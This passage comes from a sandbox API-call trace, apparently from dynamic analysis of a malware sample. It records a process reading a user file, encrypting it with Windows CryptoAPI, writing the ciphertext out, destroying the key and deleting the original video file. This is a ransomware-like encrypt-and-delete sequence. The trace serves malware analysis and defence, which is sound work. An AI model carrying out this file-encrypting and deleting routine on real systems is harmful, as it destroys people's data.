wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.196] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.196] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x77b6, lpOverlapped=0x0) returned 1 [0066.197] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.199] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.200] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.200] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.200] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.200] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.200] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.200] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.200] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.200] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.200] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.200] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.201] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.201] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.201] CryptGetKeyParam (in: hKey=0x164ca30, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.201] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.201] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.201] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.202] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.202] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.202] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.202] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.202] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.202] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.202] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.202] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.202] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.202] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.202] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.203] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.203] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.203] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x77b6, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x77c0) returned 1 [0066.203] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.203] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.203] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.203] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.203] CharLowerBuffW (in: lpsz="byte[30657]", cchLength=0xb | out: lpsz="byte[30657]") returned 0xb [0066.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.204] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.204] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.204] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.205] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.205] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x188bf90*, pdwDataLen=0x130e618*=0x77b6, dwBufLen=0x77c0 | out: pbData=0x188bf90*, pdwDataLen=0x130e618*=0x77c0) returned 1 [0066.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.206] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.206] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.206] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.206] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.206] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.206] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.206] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.206] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.206] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.206] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.212] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x77c0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x77c0, lpOverlapped=0x0) returned 1 [0066.214] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.214] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.214] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.214] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.214] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.214] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.214] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.214] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.214] CryptDestroyKey (hKey=0x164ca30) returned 1 [0066.215] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.215] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.215] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.215] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.215] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.215] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.215] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.215] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.215] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.215] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.215] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.215] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.215] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.215] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.215] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.216] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.216] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.216] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.216] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.216] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.216] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.216] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.219] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.219] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.220] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.220] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.220] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0066.220] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.220] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.220] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.220] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.220] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.220] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.221] CloseHandle (hObject=0x2ac) returned 1 [0066.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.221] CloseHandle (hObject=0x3bc) returned 1 [0066.225] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.226] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.226] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", lpFilePart=0x0) returned 0x3e [0066.226] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\12 e75as.mkv")) returned 0x20 [0066.226] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8f0 [0066.226] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\12 e75as.mkv")) returned 1 [0066.228] FindNextFileW (in: hFindFile=0x164c8f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.229] FindClose (in: hFindFile=0x164c8f0 | out: hFindFile=0x164c8f0) returned 1 [0066.229] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.229] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.229] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.229] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.229] FindFirstFileW (in: 